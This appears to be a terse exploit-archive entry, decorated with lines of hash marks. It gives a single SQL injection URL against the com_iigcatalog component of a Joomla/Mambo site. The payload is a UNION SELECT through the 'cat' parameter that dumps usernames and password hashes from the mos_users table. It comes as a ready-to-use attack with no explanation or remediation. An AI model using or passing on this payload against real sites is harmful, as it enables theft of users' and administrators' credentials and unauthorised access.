###############################################################
###############################################################
################################################################
################################################################
EXPLOIT :
index.php?option=com_iigcatalog&Itemid=56&act=viewCat&cat=-9999999//union//select//concat(username,0x3a,password)//from/**/mos_users/*
################################################################
################################################################